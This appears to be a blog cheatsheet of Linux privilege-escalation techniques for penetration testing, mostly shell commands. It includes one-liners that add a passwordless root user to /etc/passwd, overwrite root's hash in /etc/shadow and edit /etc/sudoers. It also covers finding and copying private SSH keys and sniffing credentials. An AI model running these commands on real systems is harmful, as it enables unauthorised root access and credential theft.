Linux Privilege Escalation
Linux Privilege Escalation cheatsheet
Linux Privilege Escalation
- LinPEAS: automatically looks for privilege escalation vectors
- pspy: monitor processes
- GTFOBins: sudo, suid and capabilities
- metasploit:
post/multi/recon/local_exploit_suggester
System enumeration
1
2
3
4
5
6
7
8
9
10
whoami
id
uname -a
ps aux | grep root
history
env
echo $PATH
cat /etc/passwd | grep "sh$"
find / -writable 2>/dev/null
dpkg -l
Interesting files and directories
1
2
find / -type f -user <username> -readable 2>/dev/null
find / -writable -type d 2>/dev/null
1
2
3
4
5
6
/etc/passwd
/etc/shadow
/etc/sudoers
/etc/hosts
/etc/crontab
/home/<user>/.bash_history
1
2
3
4
5
6
7
8
9
10
11
12
/root
/var/www
/var/www/html
/opt
/tmp
/dev/shm
/var/mail
/var/spool/mail
/home/<user>
/home/<user>/.ssh
/etc/apache2
/etc/nginx
SUDO, SUID and SGID
sudo -l: list commands the current user can run with sudofind / -perm -u=s -type f 2>/dev/null: SUIDfind / -perm -g=s -type f 2>/dev/null: SGID- try path hijacking:
export PATH=/tmp:$PATH
Capabilities
1
getcap -r / 2>/dev/null
Cron Jobs
- domains: modify
/etc/hosts - commands without setting the path
- wildcards
1
2
3
4
cat /etc/crontab
crontab -l
pspy
Network
ifconfig: interfaces e.g. for wifi or dockernetstat -tulpn: open portstcpdump: sniff credentials
Writable password files
/etc/passwd
1
2
echo "root2::0:0::/root:/bin/bash" >> /etc/passwd
su - root2
/etc/shadow
python -c "import crypt; print crypt.crypt('NewRootPassword')"nano /etc/shadow- Replace root’s hash with the output that you generated
su root
/etc/sudoers
1
2
echo "root ALL=(ALL:ALL) ALL" >> /etc/sudoers
sudo su
SSH
1
2
find / -name id_rsa 2> /dev/null
find / -name authorized_keys 2> /dev/null
- Copy
id_rsacontents of keys found with the above command - Create a local file on your box and paste the content in
chmod 600 id_rsassh -i id_rsa <user>@<ip>
This post is licensed under CC BY 4.0 by the author.